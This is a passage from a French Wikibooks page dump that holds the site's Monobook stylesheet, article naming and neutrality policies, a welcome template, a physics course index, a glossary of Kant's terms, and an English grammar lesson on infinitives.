étrangers|Nommage des noms étrangers]] (règle non définie) * [[Wikilivres:Usage du féminin masculin|Usage du féminin masculin]] (règle non définie) * [[Wikilivres: Méthode de travail|Méthode de travail]] [[en:Policies and guidelines]] MediaWiki:Monobook.css 285 sysop 46014 2006-06-27T09:32:55Z Greudin 1 importé depuis w: (essai correction bug barre d'outils) /* <pre> */ /* les nombre impairs représentent les espaces de discussion '0': 'Article', '1' : 'Discuter' '2': 'Utilisateur', '3' : 'Discussion utilisateur' '4': 'Wikipédia', '4' : 'Discussion Wikipédia' '6': 'Image', '5' : 'Discuter Image' '8': 'MediaWiki', '9' : 'Discussion MediaWiki' '10': 'Modèle', '10' : 'Discuter Modèle' '12': 'Aide', '13' : 'Discuter Aide' '14': 'Categorie', '15' : 'Discuter Catégorie' '100': 'Portail', '101': 'Discussion Portail' '102': 'Projet', '103' : 'Discussion Projet' '104': 'Référence', '105': 'Discussion Référence' SOMMAIRE I aspect général (les choses concernant l'affichage de toute l'encyclopedie) I.1 Couleur de fond des différents namespace I.2 gestion de la coloration indentatique I.3 autre II Divers (ce qui concerne un projet, un portail ou un bandeau particulier) */ /************************************************************/ /* ASPECT GENERAL */ /************************************************************/ /*-----------------------------------------*/ /* COULEUR DE FOND */ /*-----------------------------------------*/ /* par défaut : la couleur des pages de discussion (ce qui évite donc d'avoir à redéfinir la couleur de la moitié des namespace) */ #content, #p-cactions li, #p-cactions li a { background: #FFFFEE; } /* Special: (bleu ciel) */ .ns--1 #content, .ns--1 #p-cactions li, .ns--1 #p-cactions li a { background: #F8FCFF; } /* (main) */ .ns-0 * #content, .ns-0 * #p-cactions li, .ns-0 * #p-cactions li a { background : white; } /* Utilisateur: */ .ns-2 * #content, .ns-2 * #p-cactions li, .ns-2 * #p-cactions li a { background : white; } /* Wikipédia: */ .ns-4 * #content, .ns-4 * #p-cactions li, .ns-4 * #p-cactions li a { background: #F4F4F4; } /* Image: */ .ns-6 * #content, .ns-6 * #p-cactions li, .ns-6 * #p-cactions li a { background: white; } /* MediaWiki: */ .ns-8 * #content, .ns-8 * #p-cactions li, .ns-8 * #p-cactions li a { background: #EEEEFF; } /* Modèle: */ .ns-10 * #content, .ns-10 * #p-cactions li, .ns-10 * #p-cactions li a { background: white; } /* Aide: */ .ns-12 * #content, .ns-12 * #p-cactions li, .ns-12 * #p-cactions li a { background: #FFEEEE; } /* Catégorie: */ .ns-14 * #content, .ns-14 * #p-cactions li, .ns-14 * #p-cactions li a { background: white; } /* Portail: */ .ns-100 * #content, .ns-100 * #p-cactions li, .ns-100 * #p-cactions li a { background: white; } /* Projet: */ .ns-102 * #content, .ns-102 * #p-cactions li, .ns-102 * #p-cactions li a { background: #F6F6F6;; } /* Référence: */ .ns-104 * #content, .ns-104 * #p-cactions li, .ns-104 * #p-cactions li a { background: #EEFFEE; } /* Style pour les pages de discussion ; gestion de la coloration indentative */ .ns-1 dd, .ns-3 dd, .ns-5 dd, .ns-7 dd, .ns-9 dd, .ns-11 dd, .ns-13 dd,.ns-15 dd, .ns-101 dd, .ns-103 dd, .ns-105 dd { margin: 0; padding: 0; } .ns-1 dl, .ns-3 dl, .ns-5 dl, .ns-7 dl, .ns-9 dl, .ns-11 dl, .ns-13 dl, .ns-15 dl, .ns-101 dl, .ns-103 dl, .ns-105 dl { border-top: solid 1px #F0F080; border-left: solid 1px #F0F080; padding-top: 0.5em; padding-left: 0.5em; margin-left: 1em; } .ns-1 dl, .ns-3 dl, .ns-5 dl, .ns-7 dl, .ns-9 dl, .ns-11 dl, .ns-13 dl, .ns-15 dl, .ns-101 dl, .ns-103 dl, .ns-105 dl { background-color: #FFFFE0; } .ns-1 dl dl, .ns-3 dl dl, .ns-5 dl dl, .ns-7 dl dl, .ns-9 dl dl, .ns-11 dl dl, .ns-13 dl dl, .ns-15 dl dl, .ns-101 dl dl, .ns-103 dl dl, .ns-105 dl dl { background-color: #FFFFEE; } .ns-1 dl dl dl, .ns-3 dl dl dl, .ns-5 dl dl dl, .ns-7 dl dl dl, .ns-9 dl dl dl, .ns-11 dl dl dl, .ns-13 dl dl dl, .ns-15 dl dl dl, .ns-101 dl dl dl, .ns-103 dl dl dl, .ns-105 dl dl dl { background-color: #FFFFE0; } .ns-1 dl dl dl dl, .ns-3 dl dl dl dl, .ns-5 dl dl dl dl, .ns-7 dl dl dl dl, .ns-9 dl dl dl dl, .ns-11 dl dl dl dl, .ns-13 dl dl dl dl, .ns-15 dl dl dl dl, .ns-101 dl dl dl dl, .ns-103 dl dl dl dl, .ns-105 dl dl dl dl { background-color: #FFFFEE; } .ns-1 dl dl dl dl dl, .ns-3 dl dl dl dl dl, .ns-5 dl dl dl dl dl, .ns-7 dl dl dl dl dl, .ns-9 dl dl dl dl dl, .ns-11 dl dl dl dl dl, .ns-13 dl dl dl dl dl, .ns-15 dl dl dl dl dl, .ns-101 dl dl dl dl dl, .ns-103 dl dl dl dl dl, .ns-105 dl dl dl dl dl { background-color: #FFFFE0; } .ns-1 dl dl dl dl dl dl, .ns-3 dl dl dl dl dl dl, .ns-5 dl dl dl dl dl dl, .ns-7 dl dl dl dl dl dl, .ns-9 dl dl dl dl dl dl, .ns-11 dl dl dl dl dl dl, .ns-13 dl dl dl dl dl dl, .ns-15 dl dl dl dl dl dl, .ns-101 dl dl dl dl dl dl, .ns-103 dl dl dl dl dl dl, .ns-105 dl dl dl dl dl dl { background-color: #FFFFEE; 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} .ns-1 dl dl dl dl dl dl dl dl dl dl, .ns-3 dl dl dl dl dl dl dl dl dl dl, .ns-5 dl dl dl dl dl dl dl dl dl dl, .ns-7 dl dl dl dl dl dl dl dl dl dl, .ns-9 dl dl dl dl dl dl dl dl dl dl, .ns-11 dl dl dl dl dl dl dl dl dl dl, .ns-13 dl dl dl dl dl dl dl dl dl dl, .ns-15 dl dl dl dl dl dl dl dl dl dl, .ns-101 dl dl dl dl dl dl dl dl dl dl, .ns-103 dl dl dl dl dl dl dl dl dl dl, .ns-105 dl dl dl dl dl dl dl dl dl dl { background-color: #FFFFEE; } /************************************************************ * Style de l'interface de Wikipédia ************************************************************/ /* Soulignement léger pour les sous-parties */ h3 { border-bottom: dotted 1px #aaa; } h4, h5, h6 { border-bottom: dotted 1px #ddd; } /* Fenêtres arrondies (pour les navigateurs moz/firefox/gecko) */ .pBody { padding: 0.3em 0.1em; -moz-border-radius-topright: 0.5em; } .portlet h5 { background-color: #e0e3e6; border: thin solid silver; -moz-border-radius-topright: 0.5em; } #p-cactions ul li, #p-cactions ul li a { -moz-border-radius-topright: 0.5em; -moz-border-radius-topleft: 0.5em; } /* interlignage des titres de pages : utile pour les titres « à rallonge » */ .firstHeading {line-height: 1.2em} /* correction du bug de bordure blanche en attendant une mise a jour du site */ div.floatleft, table.floatleft { float: left; position: relative; margin: 0em 0.5em 0.5em 0em; border: 0; } div.floatright, table.floatright { clear: right; float: right; position: relative; margin: 0em 0em 0.5em 0.5em; border: 0; } /* permet dans l'actualité de mettre en surbrillance le jour courant */ .j11, .j1er1, .j22, .j33, .j44, .j55, .j66, .j77, .j88, .j99, .j1010, .j1111, .j1212, .j1313, .j1414, .j1515, .j1616, .j1717, .j1818, .j1919, .j2020, .j2121, .j2222, .j2323, .j2424, .j2525, .j2626, .j2727, .j2828, .j2929, .j3030, .j3131 { background: #d7ecff !important } /* Style boîte login */ form#userlogin { padding: 1em 1em .7em 1em; background-color: #ffffe6; border: 2px solid #fc6; color: #000; margin-right: 2em; } form#userlogin table { background-color: #ffffe6; color: #000; } /* Standard Navigationsleisten */ div.BoxenVerschmelzen, div.NavFrame { margin: 0px; padding: 2px; border: 1px solid #aaaaaa; text-align: center; border-collapse: collapse; font-size: 95%; } div.BoxenVerschmelzen div.NavFrame { border-style: none; border-style: hidden; } div.NavFrame + div.NavFrame { border-top-style: none; border-top-style: hidden; } div.NavPic { background-color: #ffffff; margin: 0px; padding: 2px; float: left; } div.NavFrame div.NavHead { height: 1.6em; font-weight: bold; font-size: 100%; background-color: #efefef; } div.NavFrame p { font-size: 100%; } div.NavFrame div.NavContent { font-size: 100%; } div.NavFrame div.NavContent p { font-size: 100%; } div.NavEnd { margin: 0px; padding: 0px; line-height: 1px; clear: both; } .NavToggle { font-size: x-small; float:right; } /* pour harmoniser les exposants */ .exposant { vertical-align: text-top; } /* Place un damier de vérification en arrière-plan dans la page de description de l'image, visible seulement en cas d'image transparente ou semi-transparente */ #file img {background: url("http://upload.wikimedia.org/wikipedia/commons/5/5d/Checker-16x16.png") repeat;} /* dans special:allpages et special:watchlist, rendre plus visible les pages étant des redirects (allpagesredirect est déjà en italique par défaut) */ .allpagesredirect a, .watchlistredir a { color:green; } /* Mise en gras de "modifier cette page" (copié de en:) */ #ca-edit a { font-weight: bold !important; } /* BEGIN Diff rendering */ table.diff { padding: 0.5em; } table.diff td { vertical-align: top; } td.diff-addedline { background:#D8E4F6; } td.diff-addedline span.diffchange { background: #B0C0F0; color: #001040; font-weight: bold; } td.diff-deletedline { background:#E4F6D8; } td.diff-deletedline span.diffchange { background: #B0E897; color: #104000; font-weight: bold; } td.diff-context { background:#FEFEFE; } /* END Diff rendering */ /* CSS pour les modèles de coordonnées */ #coordinates { border:none; background:none; top:0.3em; margin:0.0em; padding:0.0em; line-height:1.5em; text-align:right; text-indent:0; font-size:85%; text-transform:none; white-space:nowrap; } /************************************************************ * Style du projet Egyptopedia ************************************************************/ /* Cadre du calendrier */ div.egy_calendrier#cadre { border:1px solid #CCCC99; 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Ainsi les pages contenant * deux alertes avec pour id style1 sont invalides. * * On pourrait utiliser à la place les classes alerte_style1, alerte_style2 . */ /* Styles des messages d'alerte */ div.alerte#style2 { padding:0.5em; background:#FFFFDD; } /* Styles pour [[Prise de décision/Harmonisation des messages d'avertissement]] */ div.alerte#style1 { padding:0.5em; } div.alerte#style3 { padding:0.5em; border:solid 1px #808080; background:#F0F0F0; } div.alerte#style4 { padding:0.5em; background-color:#f7f8ff; border:1px solid #8888aa; border-right-width:2px; border-bottom-width:2px; } div.alerte#style5 { padding:0.5em; border: 1px red dashed; } div.alerte#style6 { padding:0.5em; background: #ffdab9; border: 1px solid #cdcdcd; } div.alerte#style7 { padding:0.5em; border:dotted 1mm red; } div.alerte#style8 { padding:0.5em; border:dotted 1mm red; background:yellow; } div.alerte#style9 { padding:0.5em; background:#f0f0ff; } /* même chose que ci dessus mais sans id */ div.alerte.style1 { padding:0.5em; } div.alerte.style2 { padding:0.5em; background:#FFFFDD; } div.alerte.style3 { padding:0.5em; border:solid 1px #808080; background:#F0F0F0; } div.alerte.style4 { padding:0.5em; background-color:#f7f8ff; border:1px solid #8888aa; border-right-width:2px; border-bottom-width:2px; } div.alerte.style5 { padding:0.5em; border: 1px red dashed; } div.alerte.style6 { padding:0.5em; background: #ffdab9; border: 1px solid #cdcdcd; } div.alerte.style7 { padding:0.5em; border:dotted 1mm red; } div.alerte.style8 { padding:0.5em; border:dotted 1mm red; background:yellow; } div.alerte.style9 { padding:0.5em; background:#f0f0ff; } /* Point pour la carte du monde */ div.PointCarte { position:absolute; width:1px; height:1px; background:#000000; border: 1px solid #FFFFFF; } /* Style des boites de l'accueil */ .boite-accueil-haut { background-color: #C8D8FF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: small; font-weight: bold; border: 1px solid #AAAAAA; padding-bottom: 2px; padding-left: 2px; padding-top: 2px; -moz-border-radius-topright: 0.5em; -moz-border-radius-topleft: 0.5em; } /* Tableau gris. */ table.wikitable { margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; } table.wikitable th, table.wikitable td { border: 1px #aaaaaa solid; padding: 0.2em; } table.wikitable th { background: #f2f2f2; text-align: center; } table.wikitable caption { margin-left: inherit; margin-right: inherit; } /* Style des chiffres romains */ .romain { text-transform:lowercase; font-variant:small-caps; } /************************************************************/ /* * Classes pour portails modulaires */ /* une case typique pour portail modulaire */ .portailCase { border: 1px solid #aaaaaa; display: block; margin: 5px 0; padding:0px; padding-bottom:1px; vertical-align: top; width: 100%; } /* le titre de cette case, apparaissant sur un fond différent */ .portailCase h2 { font-weight:bold; font-size:100%; margin:0 0; margin-bottom:5px; padding:4px; text-align:center; } /*le lien editer (en bas) tout à droite */ .portailLienEdition { display:block; font-size:x-small; text-align:right; clear:both; } /*la classe suivantes est destinee a remplacer la classe portailCase */ .portailCase_v2 { border:1px solid #AAAAAA; color:#000000; font-size:100%; } h2.portailCase_v2 { font-weight:bold; margin:0px; padding:3px; text-align:center; } div.portailCase_v2 { border-top:0px solid white; margin-bottom:1ex; padding:5px 5px 0 5px; } /********/ /* enlever les liens modifer (encadrez la zone de <div class=noeditsection></div>). Voir notamment [[Portail:Biologie/Les articles]] */ div.noeditsection div.editsection { display: none; } /************************************************************/ /* styles pour changer la couleur de liens (encadrez les liens de <div class=lienNoir></div>). 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Exception faite des noms propres dont l'article fait partie intégrante du nom. Par exemple, [[France]] et non pas [[La France]], mais [[Le Fleix]] et non [[Fleix]] ; # Ne pas mettre de pluriel non plus, sauf cas particulier (comme les noms de peuples). Par exemple, [[Chat]] et non [[Chats]] (mais [[Wisigoths]] et non [[Wisigoths|Wisigoth]]) ; # Pour les [[sigle]]s, créer l'article sous le nom complet ([[Organisation des Nations Unies]]) et créer une redirection ([[Wikilivres:#REDIRECT|#REDIRECT]]) ou un article renvoyant au titre complet pour le sigle lui-même ([[ONU]]) ; cette convention ne s'applique pas aux [[rétro-acronyme]]s ([[PowerPC]], [[GNU]]) ni aux sigles n'étant pas le sujet de l'article ([[NCSA Mosaic]]) lorsque cela correspond à un usage clairement majoritaire ; # Pour les titres à initiales, ne pas écrire les points. Par exemple [[Union des républiques socialistes soviétiques|URSS]] et non pas [[U.R.S.S.]] Se rappeler cependant la règle ci-dessus sur le nommage des sigles ; # Rattacher le titre au sujet : par exemple, un article sur l'agriculture du Mexique ne doit pas être [[Agriculture]], mais [[Agriculture du Mexique]] ; # Les titres des articles portant sur une personne seront nommés de la façon suivante: "Prénom [2e prénom 3e...] Nom". Autant que possible, écrire les prénoms complets (pas seulement les initiales). Par exemple [[René Dumont]] ou [[Paul Dirac]], plutôt que [[P. Dirac]] ; # <u>Le titre idéal est le titre le plus court qui définit précisément le sujet</u> ; # Dans le cas d'un titre d'article constitué de plusieurs mots, tous les mots sont écrits sans majuscule sauf la première. Par exemple, "Recettes De Cuisine" doit être [[Recettes de cuisine]]. Bien entendu, il existe des cas particuliers, et le [[Vase de Soissons]] ou l'[[Organisation des Nations unies]] ont droit à un traitement spécial. Voir [[De l'usage des majuscules]] ; # Dans le cas d'un article sur une œuvre dont le titre fait partie intégrante de l'œuvre, le choix de l'auteur en matière typographique doit être respecté (dans la mesure du possible). Par exemple, le film "eXistenZ" et non pas "Existenz". # Pour les années : [[1993]] et [[-44]] ; # Pour les siècles : [[Ier siècle]], [[XXe siècle]] et [[IIe siècle av. J.-C.]] ; # Pour les millénaires : [[Ier millénaire]], [[IIe millénaire]] et [[IIIe millénaire av. J.-C.]] ; # On ne crée pas de nom d'article avec des ''sous-pages'' ([[page/sous-page]]), elles sont réservées aux [[Wikipédia:Pages méta|pages méta]] ; # Restrictions techniques : les caractères suivants ne sont pas permis dans les noms d'articles: '''<tt>& " # $ * + < > = ? @ [ ] \ ^ ` { } | ~</tt>''' ; # Pour les cas de mots à significations multiples, voir [[Wikipédia:Homonymie]] ; # L'usage des parenthèses dans les titres est strictement réservé aux cas d'[[Wikipédia:Homonymie|homonymie]]s ; # Dans le cas ou un déterminant est placé entre parenthèse (voir ci-dessus), il ne doit pas porter de majuscule sauf si il s'agit d'un nom propre. Par exemple [[Chou (plante)]] et [[Chou (Égypte antique)]] ; # Les noms de fonction prennent des minuscules: le roi Arthur, l'empereur Claude. Néanmoins, les portefeuilles ministériels comportent une majuscule : ministère de la Culture... et par extension le premier portefeuille comporte une majuscule : Premier ministre, ce qui évite de confondre dans un texte avec premier ministre de la Culture. # Si plusieurs titres sont possibles, le plus commun devrait être utilisé, même si un terme plus précis existe (fait qu'il faudra mentionner dans l'article lui-même). Cette convention est une application du [[Wikipédia:principe de moindre surprise|principe de moindre surprise]]: le lecteur doit pouvoir trouver l'information à l'endroit qui lui semble le plus évident. === A savoir === # Il est possible d'utiliser les caractères UNICODE dans le titre des articles. Cependant n'oubliez pas que si une personne ne possède pas la fonte adéquate, elle ne pourra voir le nom de l'article # Les [[majuscules]] et minuscules étant considérées comme des lettres différentes, il peut coexister un même article sous plusieurs noms. ---- Voir aussi : [[Wikilivres:Règles|Recommandations et règles à suivre]] {{Regles}} Wikilivres:La neutralité de point de vue 288 23734 2005-10-20T09:14:55Z Greudin 1 -w:en: Cet article explique une [[Wikilivres:Règles|règle absolue]] de [[Wikilivres]] : tout article doit avoir un '''[[point de vue]] neutre'''.<br> Au sujet de cette neutralité de point de vue [[Jimbo Wales]], [[meta:designated agent|agent désigné de Wikilivres]], a dit : " la neutralité de point de vue est absolue et sans compromis". [http://mail.wikipedia.org/pipermail/wikien-l/2003-November/008074.html] == Abréviations == '''NDPV''' sont les initiales pour ''neutralité de point de vue''. '''PdVN''' est l'abréviation de ''point de vue neutre'' et ''PdV'' est utilisé pour désigner un ''point de vue''. == La neutralité de point de vue selon le fondateur Jimbo Wales == '''à adapter à Wikilivres''' L'objectif d'une encyclopédie telle que Wikipédia est de '''fournir un ensemble cohérent de connaissances synthétiques, exposées dans le respect de la neutralité des points de vue'''. Dans la mesure du possible, toute écriture encyclopédique doit se garder de prendre part pour un point de vue ou un autre. La neutralité consiste à présenter les idées et les faits de façon à satisfaire les partisans autant que les détracteurs. Bien entendu, il est difficilement possible de parvenir à un accord dans 100&nbsp;% des cas ; certains idéologues seront sans concession et chercheront à imposer leur propre point de vue. Sur Wikipédia, nous cherchons uniquement à respecter des règles d'écriture à même de convenir aux personnes rationnelles, même si celles-ci ne sont pas toujours du même avis. Par exemple : # Un article encyclopédique ne doit pas soutenir le fait qu'un homme politique est un danger pour la démocratie, même si l'auteur de l'article en est convaincu. Il doit plutôt exposer le fait que certaines personnes pensent que cet homme politique soit un danger pour la démocratie, et expliquer les raisons de leur position. De même, l'article doit également indiquer le point de vue opposé. # Un article encyclopédique ne doit pas soutenir le fait que la démocratie est le meilleur système social. Il doit présenter le point de vue de ceux qui soutiennent la notion de démocratie, autant que ceux qui sont en désaccord avec ce point de vue. En fait, il est possible d'imaginer que la meilleure façon d'écrire un article encyclopédique neutre est d'écrire ce que les gens pensent, plutôt que de définir ce que constitue le sujet de l'article. Par exemple, il est peut-être plus facile de conserver une certaine neutralité en évoquant les pratiques d'un homme politique. La politique de neutralité de Wikipédia indique que nous '''nous devons d'évoquer toutes les facettes d'un point controversé''', et que '''l'article ne doit en aucune façon établir, sous-entendre ou même insinuer qu'un des points de vue est celui qui est correct'''. Il est absolument crucial de respecter cette ligne éditoriale. Pour avoir une chance d'atteindre cet objectif, il est impératif de travailler ensemble à produire des articles non biaisés. C'est une des raisons pour lesquelles Wikipédia est un concept passionnant ! :''Avis de Jimbo Wales'' == Introduction == Wikipédia est fondée sur un principe très important : en deux mots, les articles doivent être écrits de façon à ne pas prendre parti pour un point de vue plutôt qu'un autre. Attention : cela ne signifie pas qu'il faille écrire un article selon un point de vue, qui sera réputé le point de vue "objectif". Au contraire, il s'agit de représenter toutes les positions portant sur un point de désaccord, et de ne pas affirmer, sous entendre ou insinuer qu'une position est correcte. Ecrire de façon neutre est un art nécessitant de la pratique. N'hésitez pas à participer au [[Wikipédia:NPDV:Guide pratique|mode d'emploi]]. === Que signifient ''impartial'' et ''neutre'' === Clairement, il ne s'agit pas de questions faciles et il est fréquent que ces termes ne soient pas interprétés de la même façon. Il existe de nombreuses significations aux termes ''impartial'' ou ''neutre''. Pour ce qui est de la politique de Wikipédia, la rédaction impartiale ou objective expose de façon honnete et articulée l'ensemble des positions sur un sujet donné sans y adhérer. Ce commentaire nécessite probablement des éclaircissements. Tout d'abord, définissons la ''présentation objective d'un point de vue controversé''. Une rédaction impartiale ne représente pas uniquement le point de vue admis par une majorité de population comme représentant l'avis correct, même après avoir évoqué tous les points de vue. Tout point de vue est subjectif et dépendant de considérations sociales, temporelles et géographiques. Le but n'est donc pas de trouver une vérité ou une norme qui de toute façon évoluent selon l'endroit, le groupe et le temps. Il s'agit donc de réunir ces visions, perceptions, conceptualisations et de les exposer au lectorat sans manipuler son point de vue en faveur d'une thèse ou de l'autre. De même, une écriture impartiale ne soutient pas non plus le point de vue intermédiaire (''moyen'') comme étant le point de vue correct, comme si le point de vue intermédiaire était nécessairement le point de vue neutre. Présenter tous les points de vue consiste à indiquer que X pense ''ceci'' et que Y pense ''cela''. Point final. En fait, présenter tous les points de vue offre une occasion extraordinaire de pousser plus loin l'interprétation des différentes sources. Fort de cette panoplie informative, chacun peut bâtir sa propre opinion en connaissance de cause. Mais attention toutefois à ne pas laisser insinuer que le point de vue majoritaire constitue la vérité absolue. Certains articles très détaillés peuvent aussi inclure des évaluations érudites des tenants des différentes écoles de pensée, permettant à chaque partie de peaufiner ses explications, sans néanmoins tomber dans le parti-pris. Un petit point supplémentaire. Il a été indiqué ci-dessus que la ''neutralité de point de vue'' n'est pas - contrairement à ce qu'on pourrait imaginer - le choix d'un point de vue intermédiaire parmi les différentes positions exposées. Ceci implique une définition très pointilleuse de la neutralité. La ligne généralement tenue sur Wikipédia est qu'un point de vue neutre n'est en fait pas un point de vue du tout ! En effet, lorsqu'un wikipédien écrit dans le respect de la neutralité, il doit être extrêmement attentif à ne pas établir (ou sous-entendre, ou insinuer, ou même essayer de plus ou moins subtilement faire passer un message) qu'un point de vue particulier, quel qu'il soit, est supérieur, correct ou meilleur. Si nous tentons de présenter les arguments de chaque thèse de façon objective et impartiale, c'est parce que nous estimons que chacun à la capacité et le devoir de forger sa propre opinion. Construire un point de vue neutre est donc faire preuve de respect pour son lecteur. Bien entendu ceci n'est qu'un point de vue ;-). ----- == Voir aussi == * [http://agora.qc.ca/encyclopedie.nsf/Communiques/Charte#principe2 Le point de vue dans la Charte de l'Encyclopédie de l'Agora] * [[meta:La_neutralité de point de vue]] * [[Wikilivres:Controverse de neutralité]] {{Règles}} Modèle:Bienvenue 357 12112 2005-02-27T18:41:41Z Greudin 1 +photo ? [[Image:Libri books2.jpg|right|200px|Des wikilivres.]] Bienvenue sur [[wikilivres:Wikilivres|Wikilivres]], '''{{PAGENAME}}''' N'hésite pas à consulter [[Aide:Comment modifier une page|comment modifier une page]] pour de premières indications sur la création et l'édition des pages sous [[wikilivres:Wikilivres|Wikilivres]]. Tu peux également consulter la [[wikilivres:FAQ|FAQ]] et faire tes essais dans le [[wikilivres:Bac à sable|bac à sable]]<br /> N'hésite pas à consulter les [[wikilivres:Règles|recommandations à suivre]] (copyright, etc).<br /> Pour '''signer tes messages''', tu peux taper trois fois le caractère ~. Avec un quatrième tilde, en plus de ta « signature », seront affichées la date et l'heure. Les '''pages ne sont pas signées'''. Nous utilisons souvent des sigles parfois mystérieux : tu pourras trouver leur explication dans [[Aide:Jargon|Jargon]]. Si tu viens d'une autre Wiki, n'oublie pas de mettre les liens vers tes autres pages perso. Si tu le désires, tu peux aussi nous dire d'[[Wikilivres:Wikipédiens par pays|où]] tu viens et tes [[Wikilivres:Wikipédiens par thèmes d'intérêt|centres d'intérêt]]. Tu peux pour cela éditer ta [[Utilisateur:{{PAGENAME}}|page personnelle]]. Si tu as des questions à poser, n'hésite surtout pas à me contacter, à les poser dans le [[Wikilivres:Le Bistro|bistro local]] ou à venir discuter sur [[w:Wikipédia:IRC|IRC]]. Bonne continuation parmi nous ! Wikilivres:Administrateurs 358 12113 2004-08-22T16:59:47Z Greudin 1 #REDIRECT[[Administrateur]] #REDIRECT[[wikilivres:Administrateur]] Physique 359 37698 2006-03-15T14:33:15Z 138.253.48.110 [[Catégorie:Physique]] Ceci est la page principale des '''cours de physique'''. Un effort est entrepris pour classer les livres selon le niveau requis de formation préalable, en particulier en mathématique et en physique. Voir aussi à ce sujet la discussion http://en.wikibooks.org/wiki/Talk:Physics:_Calculus-based ==Avant-propos== Les chapitres suivants pourraient être détaillés selon plusieurs niveaux de difficulté. Un effort sera fait pour proposer des sections interchangeables qui puissent convenir aux programmes des écoles secondaires et universitaires des pays francophones. Un des premiers auteurs de ces cours de physique libres en français étant belge, le programme initial suivi sera celui de la belgique francophone. Son souhait est cependant vif de pouvoir être assez ouvert pour être facilement modulable et adaptable, de telle sorte que des livres adaptés aux différents programmes puissent être simplement composés. En attendant que les différents chapitres soient assez complets pour être véritablement utilisable dans le cadre scolaire, des versions PDF et latex, en licence GFDL, des différents chapitres de ce cours sont publiées par l'un des auteurs à l'adresse http://www.cvgg.org/Physique.html. Actuellement, ces documents sont plus complets que la version wikilivre. Mais celle-ci progresse et parviendra le plus rapidement possible à un état de maturité suffisant pour qu'elle soit autonome. ==Introduction== ==Auteurs et contributeurs== ==Mécanique== ===[[Mouvement linéaire|Cinématique]]=== ===[[Dynamique]]=== ==[[Optique]]== Les lois générales de l'optique et certaines applications spécialisées sont traitées dans le wikilivre de [[photographie]] en cours de rédaction. ==[[Énergie]]== ==Thermodynamique== ==Électricité== ===[[Électrostatique]]=== ===[[Électrocinétique]]=== ===[[Électromagnétisme]]=== ==Physique moderne== ===Mécanique quantique=== ===[[Relativité]]=== ===Physique nucléaire=== ===Astrophysique=== ===Cosmologie=== ===Physique des Particules=== ===Physique théorique=== ==Autre classification et renvois== #[[Mouvement linéaire]] #[[Force]] #[[Moment d'une force]] #[[Force normale et friction]] voir le wikilivre de [[tribologie]] #[[Travail]] #[[Energie]] #[[Rotation et mouvement circulaire]] #[[Fluides]] #[[Champs]] #[[Gravitation]] #[[Ondes]] #[[Ondes statiques]] #[[Son]] #[[Thermodynamique]] [[Image:Red.png]] #[[Electricité]] #[[Optique]] voir aussi le wikilivre de [[photographie]] #[[Physique Quantique]] #[[Physique Subatomique]] [[de:Regal Physik]] [[en:FHSST_Physics:Index]] [[nl:Fysica]] [[sv:Fysik_A]] Vocabulaire de la philosophie kantienne 363 31081 2006-02-01T08:41:50Z Marc 66 /* Liens vers Wikipédia et Wikisource */ {{ébauche}} ==A priori== 1) ce qui est indépendant de toute expérience sensible ; s’oppose à ce qui est donné empiriquement ; 2) ce qui est condition de possibilité de la connaissance (condition de possibilité de l’a posteriori). Kant (''Critique de la raison pure'', Introduction, 2) distingue deux critères de l'a priori : * La nécessité * L'universalité ==Chose en soi== Réalité inconnaissable que nous devons penser pour comprendre ce qu’est un phénomène : elle se manifeste ou apparaît dans le phénomène, elle en est donc l’origine. ==Concept/catégorie== Appartient à l’entendement ; pure forme qui ne peut recevoir de contenu de l’intuition sensible ; acte synthétique ou jugement qui subsume un divers sous une réalité une. ==Connaissance transcendantale== C’est Kant qui le premier utilise ce terme avec une signification bien précise : une connaissance par laquelle nous parvenons à connaître que et comment certaines représentations intuitions ou concepts) sont appliquées ou sont possibles exclusivement a priori. ==Dialectique naturelle de la raison== Chez Platon, la dialectique est la méthode par laquelle on atteint la réalité : elle est donc une connaissance vraie ; mais chez Aristote, duquel Kant s’inspire ici, elle désigne l’art du dialogue, de la confrontation, et, en son sens sophistique, arguties inutiles ; chez Kant, elle va désigner la prétention de la raison pure à dépasser le champ de la phénoménalité, à franchir les limites assignées à notre pouvoir de connaître, à confondre le concept et l’existence, à croire que la logique pure a une portée ontologique ; la raison est ici en perpétuel conflit avec elle-même ; cette dialectique est naturelle à la raison humaine, et donc, à l’humanité ==Dialectique transcendantale== Etude des mécanismes qui produisent les erreurs et illusions caractéristiques de la métaphysique ==Esthétique== Théorie des formes spatio-temporelles de la sensibilité qui sont la condition de toute expérience sensible ==Idée (rationnelle)== Fonction de la raison qui n’a pas d’usage pour la connaissance ; Kant fait une distinction entre l’Idée transcendantale, qui a pour fonction d’unifier les connaissances obtenues par l’entendement, en les systématisant, et l’Idée transcendante qui réifie cette unité, en croyant avoir affaire à un objet réel ==Noumène== Réalité intelligible que l’on peut penser, mais pas connaître ; il s’oppose en effet au phénomène sensible ==Phénomène== ''Chose telle qu’elle apparaît à l’homme, telle que seule l’homme peut la connaître, à travers la structure de son esprit (intuitions pures a priori, catégories)'' Etre de l'entendement pur. Echappant, contrairement à la "chose en soi" - dont il faut soigneusement le distinguer -, à la sensibilité, il est un pur possible, tandis que la chose en soi existe nécessairement bien que nous ne puissions en rien savoir ce qu'elle est. Kant dit du noumène qu'il est un concept "limitatif" qui "borne" à la fois les "prétentions de la sensibilité" (à fournir à elle seule toutes les données de la connaissance) et "celles de l'entendement" à étendre le champ de ses connaissances "jusqu'à la chose en soi". [[Réf]] : Critique de la Raison Pure, Analytique des principes, chapitre III "Du principe de la distinction de tous les objets en phénomènes et en noumènes" (le titre induit en erreur, les "choses en soi" sont en fait "contenues" dans les phénomènes...et les noumènes... sont - s'ils existent - des choses en soi). ==Pure== Est lié à la raison. Et n'est pas pure, la source de connaissance qui provient d'autre choses que de la raison. ==Transcendantal== Condition qui rend une connaissance, une expérience, possibles. == Liens vers Wikipédia et Wikisource == {{wikisource|Emmanuel Kant|Kant}} *[[w:Immanuel Kant|Kant, article de Wikipédia]] [[catégorie:Vocabulaire philosophique]] Anglais : Infinitif et gérondif 365 26754 2005-12-13T17:31:21Z 83.193.207.156 /* Emploi */ == Construction == === Infinitif === L'infinitif des verbes se construit avec la préposition “to” suivie de la base verbale. {| style="border: 1px solid darkgray" cellpadding=4 |+ '''Exemples''' |- | to be || être |- | to have || avoir |- | to dig || creuser |- |to understand ||comprendre |- |to read || lire |- |to learn || apprendre |- |to eat || manger |- |to buy || acheter |- |to wait || attendre |} '''Remarque''' : Les verbes modaux (''shall'', ''may'', ''can'') n'ont aucune forme infinitive, sauf ''will'', qui peut être utilisé comme un verbe transitif. 